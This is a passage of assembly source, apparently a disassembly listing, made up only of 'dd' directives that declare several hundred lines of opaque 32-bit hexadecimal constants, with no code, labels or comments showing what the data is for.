		dd 8CE978B1h, 0E9EFAF95h, 5AA7E606h, 31B1092Ch,	98851CF7h
		dd 0FF229FD3h, 0BEC1F901h, 0CE96EEAh, 40A7D39Eh, 46CA3541h
		dd 0B4C54DCDh, 0C320036Ah, 767129BEh, 0A3E2073Dh, 0C0701A11h
		dd 848D92EAh, 0ABE9E40Ch, 5F32F9Bh, 4CA205BAh, 0E7DB034Bh
		dd 0D58F2C70h, 0FDA181C3h, 0A1323022h, 7CC83D02h, 5FB225E9h
		dd 74C9664Ch, 3CC30447h, 840E2A9h, 0D1BD27E9h, 17AC40D1h
		dd 0C196C813h, 430E9004h, 0DD5A2F57h, 6FF7C03Ah, 1BE90572h
		dd 6F37AEE0h, 12888D34h, 69E8C706h, 29D1603Eh, 3EE75BDAh
		dd 806F18B1h, 0FF34B99Eh, 64B76E7Ch, 0EF6208Ch,	8164E912h
		dd 0FC018429h, 0D870D028h, 0B754B7FDh, 20D45049h, 0CE83D84Ch
		dd 2209D683h, 0F1712D68h, 18DA8022h, 22E94391h,	74B5EE4Ah
		dd 5FD8AE49h, 0F821255Ah, 3C2F77Eh, 0E923A27Ch,	0DF5CEAAAh
		dd 106BC6DBh, 93ED68FAh, 0F7880E4Dh, 0A085F949h, 9C199713h
		dd 2241525Bh, 0EFE1C740h, 4DFA1C21h, 0A2C87E41h, 4805C400h
		dd 1BEDBA26h, 0C027AA25h, 27D12901h, 99C0C1E9h,	353D34BBh
		dd 5BB85069h, 3EFE09B8h, 9F2AE6Fh, 0F5075766h, 0C1F43450h
		dd 439BEFCh, 7DADB813h,	0CF20AF58h, 61294076h, 0E80AB01Dh
		dd 5497688Bh, 0B6155291h, 0EDEE8100h, 872F187Dh, 8C0F905h
		dd 0B7005D1Dh, 0B151666Eh, 0B0CFE04Dh, 52D1B5FBh, 3D4FBC02h
		dd 0DC85D3Fh, 0C22FB040h, 274302C0h, 33665F5Bh,	0C1F0440Fh
		dd 0D813F79Dh, 3186B100h, 64D151C0h, 24FE5AE8h,	287B6ABDh
		dd 9557FFBh, 7CBA5886h,	66277653h, 0E1F70B79h, 950CCE9h
		dd 0F0397497h, 0B14BFAE9h, 411D80E4h, 46F73BAAh, 0C839EA5Eh
		dd 3BF5A883h, 0FE0117CCh, 556C0AFFh, 0F444CB29h, 22CC52A1h
		dd 863FF17Ch, 26092813h, 8B4737F3h, 43175E2Ah, 7E29CEDCh
		dd 0F8B06F5Dh, 9706EB0h, 13FE962h, 30981457h, 0C29F5A63h
		dd 0C33D0242h, 0DDA9A50Fh, 7705CE20h, 7B57FE27h, 0D4E9086Ah
		dd 28F72760h, 0F64BDA50h, 0BE1D1D69h, 0F429CE84h, 1CC5AF7Ah
		dd 0AD57C5EAh, 2CEB2BBCh, 6239F6A5h, 680109AFh,	377B71FEh
		dd 5C790CAh, 4EC14234h,	0CA4FE9FDh, 0C448EC2Eh,	4A0FE2E6h
		dd 1BDFD6E9h, 8F44F73Dh, 5AF6CEFFh, 0E9CA20AEh,	83C972C8h
		dd 4DDC826Eh, 1444755Dh, 0DB5A5425h, 1E4802EAh,	0D3864005h
		dd 59B00D44h, 1116637Dh, 22AB0141h, 0B89EA74h, 0C702DBF4h
		dd 603CE339h, 0B1E5238h, 0F3E936D8h, 33252F70h,	0B0655714h
		dd 6C5AEE26h, 0CB2920C6h, 680AA889h, 0A0BD0280h, 80206A2Fh
		dd 7368FED7h, 0E8090014h, 2362355Dh, 561679A2h,	2456EEE9h
		dd 0BC1504BAh, 1CEE1384h, 0A5ED87Ch, 8FF35FFBh,	0CE49EF82h
		dd 0EB10B901h, 0E43F1305h, 430BEEAEh, 72FC60h, 0B5505912h
		dd 0D6013461h, 1C081A1Ch, 298C1408h, 4762464h, 0FEA35DE9h
		dd 8203BB5h, 814F00DCh,	4D032D1Fh, 66EA7E67h, 0A857113h
		dd 6C2808h, 0C7FEDFF6h,	644EEF80h, 53DF4AFAh, 159301D0h
		dd 0A68919B0h, 3B10A056h, 3EFA2D04h, 132AC1AFh,	0A0FB0482h
		dd 0CE6995BCh, 827B8910h, 57AB37BAh, 2ABBE819h,	3E2BD17h
		dd 0E2ACE9B1h, 38F41C75h, 0E70995B4h, 75048858h, 0B923A0C8h
		dd 4E0C1F12h, 7DF38110h, 0EA44062Fh, 72187765h,	0F295BD68h
		dd 0B51B7649h, 0AEB405Ch, 8082A0D2h, 0F728EBEDh, 0C5F5168Bh
		dd 0C1B344DCh, 8030AD84h, 0B7C0B11Eh, 73CF2852h, 32EF7359h
		dd 8758CBB5h, 0C5AB80E3h, 0B0E4BEACh, 68B340ACh, 0E76FCA2Dh
		dd 207C0BF3h, 4BCF54F4h, 7DCEE2C4h, 0E3F25B78h,	94AD062h
		dd 326D3EBh, 23D20CBh, 0D95DC38Dh, 527FAE80h, 20E06695h
		dd 592F4294h, 0F17601h,	6D585C6Ah, 270CA81h, 1457142Ch
		dd 0F7D4022Dh, 0FDF9F5DAh, 6915C942h, 0B7BD331Ah, 9E468A26h
		dd 6498CB5Dh, 6C9837C6h, 0E93A5F06h, 1ED311E5h,	4B515EF2h
		dd 0DD6B8CDAh, 0C3D107DAh, 1E10EB83h, 7FD2052Ch, 16E2E65h
		dd 0E8D75ED4h, 73F168C9h, 0F22DC802h, 760C194Ch, 0B18F523Dh
		dd 58BF66E2h, 0D4723654h, 68590233h, 4C461599h,	55585413h
		dd 921260Fh, 9CF7867Ah,	1C1F980Dh, 38B95EE9h, 8037AD5Eh
		dd 25E5BE56h, 0E1455BD1h, 0C6B42F26h, 0E15F005Bh, 8BCF810Dh
		dd 52606206h, 0CC04ED0Ch, 3CE9137Ah, 5BA2A253h,	257D8DE2h
		dd 89598825h, 0FB1DFA60h, 0B94A4C2Bh, 0C5DD2F0Ah, 0E87B12C9h
		dd 3CBB4F8Ch, 7C705A2Eh, 900451BDh, 0F69C2428h,	29258210h
		dd 664E7800h, 0AAB8632Ch, 955A6840h, 0C152AF22h, 2077FAEAh
		dd 637FFA0Bh, 2A31FD56h, 1C3E62Bh, 7E84C581h, 0A940056Fh
		dd 12F713B7h, 0E014E911h, 3AFEBEC0h, 6824867Ch,	0AFBF5A7Fh
		dd 5C4A0B08h, 3944FA70h, 0CEE320BEh, 0C08A0A81h, 10A806E8h
		dd 0D1681752h, 531BC8BAh, 79B45002h, 62308DB7h,	3FBD824Bh
		dd 6395F616h, 4E5AAD33h, 0E909938Fh, 1C7D796Ch,	31DA7F8Bh
		dd 0C3C34F3Ah, 4092DF68h, 0A75B747Ah, 34A01616h, 0DC371FC1h
		dd 0CD01C909h, 0F0685AB0h, 5DCC344Eh, 0EB6C0435h, 85DFF740h
		dd 0EF80812Ch, 0D798DB0Ah, 0BF59FF93h, 9778492Ch, 0E91726A3h
		dd 0ACE0C318h, 818DA0B1h, 56EBF0Ch, 0D03F6696h,	315BED0Eh
		dd 5002F324h, 0C6DAF927h, 52094BC7h, 51184768h,	0A65A45EBh
		dd 65BB1013h, 9D60A74Fh, 0FFEA9649h, 729DF64Eh,	9440269Eh
		dd 171089B8h, 9780E81Ah, 1B0A12D9h, 39940CC1h, 0A27E70C0h
		dd 19EB75CFh, 85DB1107h, 1F16EB41h, 71D3B809h, 0A15288BCh
		dd 0F23C4426h, 43C474Ch, 120536DBh, 20F625EEh, 0F1F766B5h
		dd 22F91CF8h, 4BB29424h, 0AE7317EEh, 6A7A8260h,	0E0085812h
		dd 0BA5B0E2Fh, 2F927188h, 797CAF6h, 13C712FEh, 2173C22Bh
		dd 0AC3241F7h, 0AAA0126Ah, 4A01B13Ch, 5153E2F9h, 9DE64236h
		dd 0B660305Ch, 73F388B8h, 2FD97F5Ah, 0AB664570h, 0DC878E25h
		dd 0F805C9B1h, 54FCE0DCh, 0A292DBECh, 0A5F8203Eh, 56EE011h
		dd 2C260B8Dh, 33822913h, 7C0B2764h, 74DF0CEAh, 19488D0Bh
		dd 0D0907A48h, 424C420h, 7E2B5EBBh, 0DA13FF64h,	39535DBBh
		dd 2F9C2709h, 84DAC361h, 5A1A68EDh, 16CAD498h, 81077563h
		dd 3E912712h, 0F37F1679h, 0C7815FCFh, 0E06A0DB5h, 0FD956F7Eh
		dd 3BF48FABh, 7EDB590Bh, 8B2CBF29h, 0DF5B9FB6h,	0D5ABD5D6h
		dd 9205FC58h, 0C234C75Dh, 410F966Ah, 5F6A1968h,	0AEE7842Ah
		dd 0B04DAA1h, 0FDA354E8h, 610F4A00h, 266801F0h,	58EB303h
		dd 0B87E23E9h, 7F5DC44Fh, 58C10102h, 0C8899FCCh, 9D162A27h
		dd 0B02147A0h, 0EF415AABh, 87A7F757h, 29591140h, 3C0FD731h
		dd 6F79FE2Fh, 55B30225h, 9C5BD2F7h, 1881A525h, 75E074Ah
		dd 0BBB2D44Bh, 0F3784112h, 0C3301E32h, 5646B8C9h, 0D0C86202h
		dd 12167809h, 0BE0FBFEFh, 0AC3B4A6Dh, 2170CBA9h, 2877FF94h
		dd 54129448h, 0EED5A58Ch
		dd 0E14605Ch, 5867685Fh, 6362B79Eh, 2050F21Fh, 0E4C933B7h
		dd 1BB8086h, 0CD30D6F6h, 0E209320Dh, 9053612Bh,	0B273ED25h
		dd 0DD201B94h, 3B1CBB0Eh, 878B7E19h, 8ECE641Bh,	392A98CBh
		dd 0AC4CEE50h, 0AC7F1278h, 0D2C4EB47h, 91C081Ah, 0D0EFDC14h
		dd 90650FE9h, 39A85F7Eh, 1F2100B5h, 0C130B87Fh,	6080EB6Eh
		dd 7BFB61DFh, 3CC4BE9h,	0DBF1809Fh, 0FC55CB82h,	84421221h
		dd 3CF3EF9Ch, 7B61DD2Fh, 56656058h, 0B0FC44B7h,	0BE4FEEB3h
		dd 2E680007h, 5E742317h, 4EE68102h, 416CF708h, 1283FFDFh
		dd 463F3722h, 26F890FFh, 0F2B5CB15h, 3BD0209Eh,	4982C0Dh
		dd 2E2C78BFh, 0C2A44059h, 61D4065Fh, 0B3516861h, 0EB7D092Fh
		dd 40456979h, 45E40E0h,	0C84CF405h, 7E87BC41h, 0C6C0502Fh
		dd 0CED325FBh, 8CA2AAD3h, 0A8875995h, 0AC26D2D0h, 43190565h
		dd 0E4016DE6h, 4EED06FBh, 30CAE1D8h, 0C10C1310h, 9F3E503Bh
		dd 7BF11E65h, 0D1418CB9h, 1E7210E1h, 6C4AFC3Ah,	47B1020Eh
		dd 49D52F79h, 0EBCCF72Ch, 9111233h, 93B5A9F9h, 0BCD081BAh
		dd 0E1A72EA5h, 0D0BA9650h, 0EE1CCCA6h, 164B2649h, 84D8EB89h
		dd 63F809E9h, 4D12441Bh, 0E85B0806h, 0DFFBC254h, 0D2AF09Dh
		dd 9F8D3BB4h, 9506A6A3h, 6745C30Bh, 0B2FD2D76h,	9E16D708h
		dd 9F301C40h, 97205D78h, 0F7E9162Fh, 80384143h,	3E7A4273h
		dd 2A093E0Ch, 77E93C35h, 49253001h, 0CF655553h,	0E6D566D2h
		dd 0B3F806h, 67B252ACh,	0D2F6E2D0h, 9F4125B8h, 44B7C101h
		dd 866A69C1h, 50AE43Eh,	0E9604B64h, 74449012h, 35A24070h
		dd 804CE9C2h, 782CCBD6h, 124BCF01h, 43F44A10h, 561AA854h
		dd 18CA1D68h, 2D83AA37h, 8BD1BAE9h, 40259F02h, 0A06DFE77h
		dd 0B1CC108h, 604F080Ch, 8980F37Fh, 0F90EC8CDh,	84F5280Bh
		dd 5F096C0Fh, 79C24F7h,	0D7AF04C2h, 63607062h, 0A2D0322h
		dd 0EB82500Eh, 0E6BB352Bh, 0B160169Ah, 7B2A17F6h, 1EBA75C8h
		dd 89731244h, 1ED53E61h, 2F0C9A05h, 2F20240h, 79D5882Dh
		dd 7F84629Ch, 2C0014FFh, 0A683E77Eh, 0F88B12CFh, 54558467h
		dd 0F473B9AFh, 0E61DFCAFh, 5CB240CAh, 6817A392h, 0D8AD76A9h
		dd 0E1595B8Ch, 266ED09h, 80A8F64Ah, 6B934548h, 0D5A04149h
		dd 290BB487h, 5FCA89B2h, 48D07AE9h, 799D5072h, 0CC774B88h
		dd 5E830B43h, 90771C0Bh, 2635408Dh, 8BBB1154h, 4D549D6Ch
		dd 0D5C601C2h, 7BEC61F9h, 0E9288456h, 0C7796B49h, 0EF3CB70Bh
		dd 0FE18FD89h, 6B977ACAh, 2EA4F0A7h, 1E206DFAh,	0C0080434h
		dd 5C038038h, 9CB06D5Fh, 9868125Eh, 0B8BD3007h,	0CC7E0DEEh
		dd 6D482505h, 2EF15A3h,	0A8FC2D37h, 66F7C0C2h, 397495F7h
		dd 0E572C082h, 8551741Ch, 57B04BE4h, 0CB5FFF08h, 0B17D00E7h
		dd 7288526Ch, 0A6F748CEh, 2048542Dh, 5697C0E2h,	0FAAE4799h
		dd 0AB8EC5F5h, 5F5B0009h, 40CAC779h, 23BE7F16h,	0A62D07E3h
		dd 0DD36C2ADh, 0BF0A3558h, 9420424Ah, 65F3ED02h, 930E773Ah
		dd 0E104E86Bh, 875DEAB6h, 0B3445AFFh, 0ACE55FF9h, 6AECB13Eh
		dd 0BDE4E2FCh, 4B5159CCh, 0D1A631ABh, 0EBA181B4h, 88CA6E1Fh
		dd 0E1612AECh, 4A6B8B7Eh, 5FFA4561h, 2E80832Dh,	3542A825h
		dd 810B2C60h, 270B94C2h, 42A854E8h, 99E90908h, 0C983FCDEh
		dd 9509365Ah, 3500FEEh,	129E7AE4h, 47B49101h, 166E1643h
		dd 0BCAC1223h, 7B754215h, 9A1FE26h, 0B1DA7058h,	776842F2h
		dd 0FD88477Eh, 91B90155h, 0BA61BB74h, 0BD14609Ah, 0B04D186Dh
		dd 0F348306Ch, 0B2BE349h, 90778A3Dh, 583B891Ch,	20BC8C12h
		dd 7F0CEE84h, 2969FD26h, 0E362C00Fh, 40FE012Bh,	150081Ch
		dd 756944B8h, 0D8823578h, 0D004007h, 96370BDh, 3D5D8A2Dh
		dd 9E0323ADh, 5643E1Eh,	0F3FF40B0h, 5F8B0097h, 0B71609E9h
		dd 56D4F012h, 538EB59Fh, 0E7C020B7h, 3CFFE02h, 5221EF80h
		dd 0EED96DB6h, 1A9BE706h, 0A0ACEF3h, 0B2F7280Eh, 6623A73Ch
		dd 0FE386EAAh, 1F09BD40h, 0D69548D8h, 44C601CAh, 7B60FC2Fh
		dd 6A13A4F9h, 4D64BF45h, 0EC10A1C2h, 0ACD6209Eh, 0A5296826h
		dd 0E4FA64E2h, 0C0F10445h, 813DAB6Eh, 0E03080B3h, 49094145h
		dd 5665F9E9h, 0D7E2CB5Fh, 129094DFh, 53ADEDE9h,	0CB17E0DAh
		dd 5D3BBB17h, 0F5EB9A00h, 9F76109Ah, 0E0D44C62h, 0D9037B6Ah
		dd 0F758D35h, 465BBA18h, 2BD0CF8h, 29424414h, 8C628ECh
		dd 40140CD0h, 9343B3D0h, 7C906809h, 648292F1h, 0F8772C11h
		dd 216A092Ch, 0D5741870h, 0BC9E0049h, 0F41A787Ah, 0B44360D3h
		dd 0DC381F6Ah, 429FF894h, 0F893A26Fh, 49B0745Fh, 9342FD62h
		dd 7D529A5Ch, 957C36DAh, 1C3D4495h, 0FBF65AD4h,	9857E7A5h
		dd 0E174B3DBh, 9116B008h, 3B1A5E9h, 1626F62Bh, 4DB45810h
		dd 9D5FE79h, 26B86816h,	0EE62BE22h, 0B233D27Dh,	0E04E5AE2h
		dd 790AE61Ch, 0A754BB1Ah, 604AAE00h, 76F08910h,	0CB2BF1E9h
		dd 430BD660h, 1831D8E0h, 602EAC0h, 0CF726805h, 9F8CCB7h
		dd 0D08850A4h, 801D08F7h, 90FBDD16h, 8196BD89h,	1929112h
		dd 22C27D4Eh, 0DE096F54h, 9508A05Bh, 0D1A7F2F6h, 0A240092Bh
		dd 4F27C5E6h, 803CF2C2h, 805A7997h, 3504D8F7h, 0CB82AC3Ah
		dd 0F3FC0BFEh, 0EDD1B360h, 29FC3EEh, 6C40B766h,	0C9B03FC2h
		dd 31596FB0h, 39B05EF1h, 0C8BDF4B9h, 0FD680B0Eh, 0C1E49B0Dh
		dd 0C56671B2h, 0D7648204h, 0AA2CEE16h, 2B9A5D92h, 0CB3F6A07h
		dd 0EDC2D465h, 588284B2h, 17FFCAABh, 70EC1527h,	3C5AD5A1h
		dd 0A2060269h, 0DF25E912h, 45FFD289h, 41464B8h,	2C077EE2h
		dd 0B73250Dh, 3DE5D8A7h, 2164B209h, 1AF28005h, 0C42E826Fh
		dd 55438957h, 56848BCEh, 710271B0h, 2925F10Eh, 260808D7h
		dd 0B365A799h, 81F59C9Dh, 0D4842CECh, 0F572C8A5h, 9D18DE09h
		dd 17D37062h, 122C825Ah, 4050D74Ah, 0C1B0870h, 1E4DF490h
		dd 12E3077Bh, 35A21C8Eh, 6B67D567h, 0A2C9521Fh,	8B1C7D98h
		dd 0FA74749Dh, 2E338040h, 2E704C33h, 0E9C390F8h, 5777489Eh
		dd 0EF9C2D83h, 3F7EA0EAh, 71ABD42Fh, 58AB7479h,	40318FB8h
		dd 5DEFA741h, 330F22Eh,	30F405C3h, 66688AE9h, 89FB9C9Bh
		dd 0BCD6E6EAh, 88980049h, 9525DA2Bh, 59F11456h,	2568F584h
		dd 56768C12h, 2709AEF2h, 5D5E6291h, 37169DD0h, 3307108Fh
		dd 0DF096CAAh, 98B79946h, 7B3EC111h, 0BD70BFD0h, 0D432CE25h
		dd 265EFCBh, 30F6BA9Fh,	12372C50h, 7466F28h, 4406F918h
		dd 3EBCAA5Dh, 6DA52260h, 2E527DE9h, 0AE804A2Ah,	580F36DEh
		dd 0F134AD43h, 0B457EE5Eh, 14FA68EFh, 68E27EC1h, 7F3374F6h
		dd 728AF340h, 0E929187Fh, 5A5FAF06h, 0B11F2BDh,	0ED610DE2h
		dd 3101DEFCh, 0B83DE9EEh, 6567CC2Fh, 8141644Bh,	4C4A0712h
		dd 17E3DB60h, 109A05Ah,	473B4FF5h, 0C7E9F07Dh, 28F94912h
		dd 899E81A8h, 1C32700Fh, 905A55Eh, 79C01DB0h, 0BE23BD68h
		dd 5D5161AFh, 0C640FE50h, 5F4FAC35h, 0B5D12AFh,	44FDF438h
		dd 3ED504BAh, 0FF5A6A7Bh, 0CAC1CC81h, 0E0D720B5h, 274A685Ch
		dd 0C0A81285h, 0E4B3BDB4h, 0AC3ED4A5h, 5D89A218h, 0C665EBD4h
		dd 245C8493h, 0EB5868CBh, 18C60708h, 2E5672Ch, 6B76111Dh
		dd 1628C581h, 0F37F3DFDh, 4CC13B7Bh, 0B46410BEh, 0FB1B550h
		dd 0BFC98088h, 0BF8C3C85h, 36EF4A4Dh, 0ABD11AE8h, 68FCC4F6h
		dd 0F7F3EEE4h, 2D85B50h, 42076562h, 0C2E905E9h,	0D9F6E0B1h
		dd 6B4C06Dh, 0F5DDF9E3h, 9F63F82Fh, 0B975148Ah,	8027EA5h
		dd 31168C61h, 0BE92D4FDh
		dd 93659F45h, 572F248Ah, 1AA19ED7h, 62BC70E9h, 0EDEB6955h
		dd 98D7166Fh, 6B05C3B6h, 5543D110h, 214406C0h, 3BEBB03Ah
		dd 8C9746E5h, 8F8A112Eh, 378680Ch, 915BBD61h, 48C01B28h
		dd 5ACD86B4h, 65FE2B69h, 0E90C0262h, 5EC0CBAh, 0E9D55520h
		dd 0BF95D6F8h, 0BE6B5A8h, 90FE7FC2h, 9198FF6Bh,	0F69F78DBh
		dd 3DA58566h, 408B885h,	0E567D16h, 0D000CEFCh, 93512B0Dh
		dd 68055318h, 20581AA2h, 8DFC9005h, 38C2A7D5h, 0A6F2805Eh
		dd 0BF36E138h, 0DAACF68Fh, 160C1156h, 0C8312A83h, 207641DCh
		dd 0F12B15Fh, 6D044965h, 8F1D1148h, 0E30482B5h,	0DD5A096Bh
		dd 43E57F03h, 9F63958h,	7D79601Bh, 0BCE95010h, 9AF4BE5Fh
		dd 287112CAh, 0A3D704E0h, 0BA54AB52h, 2DF03D71h, 0E57C8B5h
		dd 7E0A2C2Dh, 4E7D1778h, 32E5D981h, 0A08ABA8Ah,	4CBAB519h
		dd 4415D95Dh, 0D0E4BF58h, 5F590905h, 65784246h,	115D0782h
		dd 97EB321h, 0BC104DF5h, 59B5EBDEh, 0E33864F2h,	1DAA96A9h
		dd 0E7ED707h, 4C922C55h, 0CEE76A91h, 0BA845Eh, 0C18853A4h
		dd 0E8F73058h, 0F1272859h, 3496FD5Ah, 44EB302Dh, 0C44C4AD3h
		dd 986FF6F8h, 5E86E90Dh, 0B1C9907Bh, 76258811h,	9863F040h
		dd 232B3875h, 187963C8h, 0EFCC57E9h, 4916E7F2h,	0FD1E4F80h
		dd 9A5C685h, 9C5A90C3h,	0A16990BFh, 0B3BED2Ch, 6453587h
		dd 0DE975C82h, 4250827Fh, 0FE937E5h, 0E9447EC1h, 84134669h
		dd 0BDFF90Dh, 8E37565Eh, 0A5E0B688h, 0F6E0A05Dh, 0B44EF431h
		dd 74C90EBDh, 0C22B24C4h, 0DA0B3D25h, 220509BBh, 0A18A3BC8h
		dd 3ED2096Dh, 0F29C96D5h, 597B2561h, 0FEAE540Bh, 0A4311E63h
		dd 6B5C3479h, 5FC3274Bh, 0FE2BF605h, 7EDC1A41h,	2A7466EDh
		dd 9F77098Eh, 0C358B6E9h, 54FC59Dh, 8D6B6968h, 74EC4018h
		dd 492BD426h, 9DA0504Fh, 0FC485812h, 8C734105h,	2745720Eh
		dd 0D7B3954Dh, 0E6BA857Fh, 91E98256h, 1016FDBAh, 0DB9F0C7Fh
		dd 0B959E561h, 0C5969FECh, 0B885BB37h, 0AB5CCDBCh, 7A91FBF4h
		dd 2981F4E0h, 0B72714C3h, 400C9D34h, 60003D92h,	0D43B84EBh
		dd 0A8EABB5Fh, 669E381Ah, 5074EB4Ah, 2A259B8h, 75CB4E74h
		dd 3EC5A569h, 285F32BCh, 0A64AC4E7h, 0F218C5F3h, 665A109Eh
		dd 0E2D82939h, 6A7BEF86h, 3E89523Eh, 8F195453h,	0D9464E94h
		dd 2AB935E8h, 0C1E466ECh, 707A58Ch, 68CDFE60h, 313C4B02h
		dd 2BD578C2h, 603B69EAh, 1DB287A5h, 0DD79EF75h,	65177D4Eh
		dd 0A55F62ACh, 76B83FADh, 0B830E982h, 6815D9C6h, 0A6FC623Fh
		dd 0FBE927AFh, 71BDC878h, 11E3EA5Eh, 330A52E5h,	0A835C111h
		dd 0B6C54CABh, 99AD3EEDh, 60572BE1h, 0F096FCDh,	725D363Dh
		dd 1AE3B642h, 0E551973h, 96CF4996h, 5B1EF884h, 8501A2CBh
		dd 9824057Bh, 3F7296EEh, 1A866814h, 74EE8654h, 0BDF60543h
		dd 0EA37C97Bh, 74C26F2h, 20EC885h, 0A571D02Ah, 583BF587h
		dd 0DD3B1F24h, 0A6899F05h, 40E65CD4h, 20BB5357h, 5ECC4F39h
		dd 31BB5884h, 4F0E4FBh,	738E9BAh, 28D4A39h, 24D9E47Fh
		dd 689AC8BEh, 193E2A27h, 54CEA2EFh, 0F846046h, 0BE600C7Fh
		dd 0E918DD78h, 0BFFBC0F3h, 733908AFh, 0AA9272F4h, 4A26BDE6h
		dd 0ED066469h, 170A76C8h, 16721EE5h, 6288D752h,	0AE499D2h
		dd 266F450Bh, 220B4C10h, 7EED7822h, 0C30EF453h,	71F5B24Bh
		dd 0D7BEE360h, 7D7BB26h, 856DCFA3h, 0AD798EFh, 0BBD3935Fh
		dd 0A79E0306h, 9C226D1h, 0B120B8FDh, 800417D7h,	0E53AC241h
		dd 36D45E4Eh, 0CEDCFB5h, 2FC38A2Fh, 0DD586AA5h,	87854260h
		dd 5AD6B3C0h, 0E5F28952h, 9F5E6630h, 744E4ADCh,	45D613C2h
		dd 355B0EB6h, 0EE2A03A9h, 0E5FD8D4Dh, 5F080014h, 5D2FE955h
		dd 5F19C476h, 0B458F889h, 0F91F81C3h, 0A02F4C74h, 34406BC9h
		dd 0BC9802BAh, 0D331998Dh, 5BD8CCC0h, 49C66812h, 9DEA7CCh
		dd 5762D76Ch, 6E5F0741h, 0C49F2A82h, 441503F6h,	0D53113A4h
		dd 0B8ED51EBh, 6940E569h, 2DA30550h, 0CA2777E9h, 39B66C45h
		dd 78B13F8Fh, 3265B4A6h, 7F1DB904h, 0B2F84171h,	74E4C902h
		dd 0E16061F3h, 1C2446F1h, 8F120E63h, 818528BEh,	37B3444Fh
		dd 973E8641h, 744C9645h, 440B596Ah, 0A130A513h,	7BCA0A10h
		dd 1DDD2F39h, 682DA4E4h, 3DA64813h, 37C69DC7h, 0E6315004h
		dd 0E3AF010Fh, 420C4101h, 70B72E2h, 86E17A7Fh, 0F27F2116h
		dd 800C2505h, 4C71052Fh, 5C0975F1h, 0D2DF13Dh, 720E6F6h
		dd 0A11147EBh, 30F76FBEh, 5035E988h, 8980AFB4h,	9D6D1268h
		dd 75995D66h, 5F027h, 0D111A36Ch, 2B5D05E8h, 0C128C20Bh
		dd 1B205DE0h, 6B363E27h, 1B2E77FEh, 0E9018E60h,	7C260FD3h
		dd 55CA56Eh, 6DBE1C08h,	92DE9C66h, 281E8890h, 2C0885D0h
		dd 84F7AC85h, 6807B566h, 3671DBC3h, 0CE56789Fh,	0E1C543E2h
		dd 0A587EB28h, 0CCFCE931h, 0F267FE2Eh, 3D17F9B6h, 86E4EFC1h
		dd 0E785133Eh, 223BC380h, 1936C756h, 218AC02Dh,	5DB85EF3h
		dd 571A7E0Bh, 1730806Ch, 952CAE53h, 880E672h, 64FB555Eh
		dd 6D282680h, 3890A220h, 44620782h, 0A593715Fh,	4BF8885Ch
		dd 0E71DC31Fh, 43921740h, 3100BE50h, 0DB0D481Eh, 0B51A1823h
		dd 0ADDFA340h, 0C47A373Fh, 0A78654F4h, 0B15117F3h, 0B27DB862h
		dd 400BBAD7h, 8247E5D5h, 0BE08CE74h, 4AC02556h,	68F8093Bh
		dd 40D2F725h, 2C3E2FE4h, 18898246h, 5EF8776Dh, 669296B1h
		dd 39790BBAh, 6C107FCh,	68300379h, 3C571770h, 5362759h
		dd 0AF29EAAAh, 95F482FAh, 0AEBD04C0h, 81CDD9CCh, 33BF2E5Dh
		dd 0EC0EDE4h, 0CC12DA1h, 68B44559h, 1A73942Eh, 14050C08h
		dd 0A8F2BB5Bh, 1E5D5C2Fh, 0D52E9067h, 0F258710Eh, 0AB23BF7Dh
		dd 9013D848h, 630C8DB2h, 0FF59121h, 56499617h, 5975C369h
		dd 0A4183CA0h, 5AF5B997h, 80DD2800h, 45BB0EDh, 53510035h
		dd 0DFF6FAB7h, 539EFC0h, 8004E7D0h, 1BE1A75h, 28FE2C41h
		dd 7F2271E8h, 53814BADh, 62292036h, 0EA81203Fh,	0B8237A18h
		dd 64644DC5h, 244CA240h, 18C0654h, 721ABEF3h, 51CBD839h
		dd 2060BCE0h, 0F562450Ch, 94029554h, 95409203h,	0C20969C3h
		dd 7801FE74h, 0ABF09F5Fh, 0E02D6B01h, 9312E911h, 0CE0E982Eh
		dd 0FE8C6AF9h, 0CF03BF2Ch, 417D6F6h, 82C7BF68h,	2C9778E5h
		dd 7F6DA5A2h, 0EA2602E5h, 739FCE2h, 42A96259h, 251D14D5h
		dd 177B0AFDh, 13B46847h, 0FDD278ACh, 93B40103h,	0C4FED4F6h
		dd 0ED2C43EDh, 0FAF02913h, 0E8FC22D8h, 60F4ED7h, 2B91B48Fh
		dd 10263D99h, 33437749h, 6F9F4158h, 824D7AEBh, 0D3CF19A3h
		dd 0CCDCAF5Ah, 0D78A1E31h, 9341B202h, 72DFEEE2h, 0EED09D62h
		dd 0E0099287h, 1B305F8Ah, 0A0863230h, 2C545D08h, 40727A15h
		dd 1B4F51B4h, 3AD8E919h, 31DDD3D1h, 483EA128h, 306AFBA7h
		dd 0D5C4B42h, 5A02AB24h, 0E060EC13h, 4A1FEE73h,	445B8EBh
		dd 0EC85F27h, 0F68D1EEDh, 81C77B53h, 2D23026Fh,	14425D49h
		dd 48F74142h, 0B51DE975h, 0E280CF81h, 1F92E008h, 5FF8C9C5h
		dd 0AF686990h, 677A942Bh, 508482CCh, 294E6440h,	0ADCF6239h
		dd 0C01B57D8h, 7E44B5E5h, 958783B4h, 50553783h,	2E5D9CB9h
		dd 9019E8B6h, 0DD572112h, 27E3828h, 9C7886BEh, 0B765D83Ah
		dd 0B2045981h, 6E113030h, 42D04412h, 25E96BC8h,	73487E63h
		dd 0A72DC1BFh, 4BC2D845h, 69C0BF89h, 9677FA68h,	1E066351h
		dd 95E3113Bh, 16A90B0Fh, 8A406921h, 0D6F705E6h,	0E886C14Eh
		dd 0E5356C4Ah, 4863DDDh
		dd 18F32B34h, 0D42C2601h, 1A0E4076h, 0E65F4DBAh, 8C4CEABCh
		dd 595A5E0Dh, 0C97BA6h,	0B32AC6EDh, 6C6609BBh, 0FE92F0F1h
		dd 93954E8Dh, 13FCE6AFh, 806F6106h, 68CA27AFh, 0FDBA1A90h
		dd 0E9AE5C26h, 1FC9C102h, 0C1AF8FBh, 686B4439h,	55139C0Ch
		dd 80E519E4h, 820C0806h, 0DEE58914h, 0B6F727ECh, 429F8803h
		dd 0DE4DB535h, 1B0271A4h, 741C0626h, 8513969h, 0E9EA902Eh
		dd 0A0B5F647h, 7D443A6Ch, 5E437C4Fh, 5E23C2FAh,	7058FCF4h
		dd 1D495DCh, 0F43EC489h, 1145CF97h, 4171FBD1h, 0CB3A1C8Bh
		dd 0F8A950AFh, 0D33BE695h, 770CB2Eh, 3FE07D08h,	81E6F2E3h
		dd 0D13B6271h, 12D4A44h, 0E7DDEF21h, 5E881274h,	3E2DE9D4h
		dd 6F3814CCh, 0A60BD3DEh, 707D05FAh, 4B26F7ABh,	0D3821BEh
		dd 0CBD16F6Ch, 0D539F08Fh, 8B168D09h, 1DF54700h, 104CA415h
